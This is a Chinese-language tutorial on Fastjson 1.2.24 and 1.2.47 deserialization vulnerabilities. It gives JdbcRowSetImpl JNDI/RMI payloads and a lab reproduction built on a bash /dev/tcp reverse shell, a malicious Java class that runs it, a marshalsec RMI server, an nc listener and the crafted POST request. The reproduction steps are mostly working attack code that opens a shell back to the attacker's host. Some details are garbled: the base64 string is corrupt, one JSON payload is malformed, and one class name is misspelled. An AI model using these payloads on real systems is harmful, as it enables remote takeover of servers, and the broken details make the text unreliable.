Fastjson是什么
Fastjson 是阿里巴巴开源的一款高性能 Java JSON 库,用于实现 Java 对象与 JSON 数据之间的快速转换(序列化与反序列化)。
Fastjson本质就是调用get和set方法,get和set方法就是所谓的javabean,利用fastjson自动调用get set方法间接的调用(jndi注入)
Fastjson漏洞
因为基于get方法和set方法,fastjson在处理多个继承对象进行序列化后,再进行反序列化的话,会数据混乱。为解决这些问题,fastjson引用autotype属性,在进行序列化的时候,把原始类保存下来方便识别处理
每个版本有属于自己版本的漏洞,fastjson最为出名就是1.2.24 和 1.2.47 版本漏洞
1.2.24版本
Fastjson autoType处理json对象时,未对@type字段进行安全的校验,导致攻击者可以传入危险类,并调用危险类连接远程的RMI主机,通过其中恶意类执行代码,造成RCE
恶意代码
#恶意代码
{
"b":{
#Java 标准库中的一个类,实现了jdbcRowSet接口(支持通过 JNDI 查找远程对象)
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:端口/xxx",
"autoCommit":true
}
}
1.2.47版本
因为在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启会先尝试从缓存中获取类,如果缓存中有,则直接返回。
java.lang.Class类对应的deserializer为MiscCodec(核心编解码器,专门用于处理多种特殊类型的序列化和反序列化),反序列化时会取json串中的val值并加载这个val对应指定的类
条件:fastjson cache为true,就会缓存这个val对应的class到全局缓存中
恶意代码
{
"a":{"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl" #加载 JdbcRowSetImpl 类
}
"b":{
"@type":"com.sun.rowset.JdbcRowSetlmp!", #会过滤(不影响下面代码执行)
"dataSourceName":"rmi://ip:端口/xxx",
"autoCommit":true
}
}
漏洞复现
这里先打个1.2.24靶场
1. 生成一个反弹shell命令
sh -i >& /dev/tcp/{监听者ip}/7777 0>&1
2. 将刚才的命令进行base64编码
c2ggWkgPiYgldi90Y3AvMTIzLjEzNi4yMTgvNzc3NyAwYx
3. 编辑一个java文件(上一步base64编码写进去)
import java.lang.Runtime;
import java.lang.Process;
public class fastjson {
#静态代码块(自动执行)
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands ={"/bin/bash","-c","{echo,c2ggWkgPiYgldi90Y3AvMTIzLjEzNi4yMTgvNzc3NyAwYx}|{base64,-d}{bash,-i}"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch (Exception e){
}
}
}
4. 进行编译成.class文件
javac fastjson
5. 上传至监听者(kali)主机 ,开启http服务
python -m http.server 80
6. 开启RMI服务监听9999端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://{ip}/#fastjson" 9999
7. 开启端口监听
nc -lvvp 7777
8. 在靶场网页进行刷新抓包
1. 修改请求方法为POST
2. 将Content-Tpye中的后半段修改为json
3. 添加请求数据
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://{监听主机的ip}:9999/fastjson",
"autoCommit":true
}
}
4. 发送查看响应
9. 查看监听情况即可获取权限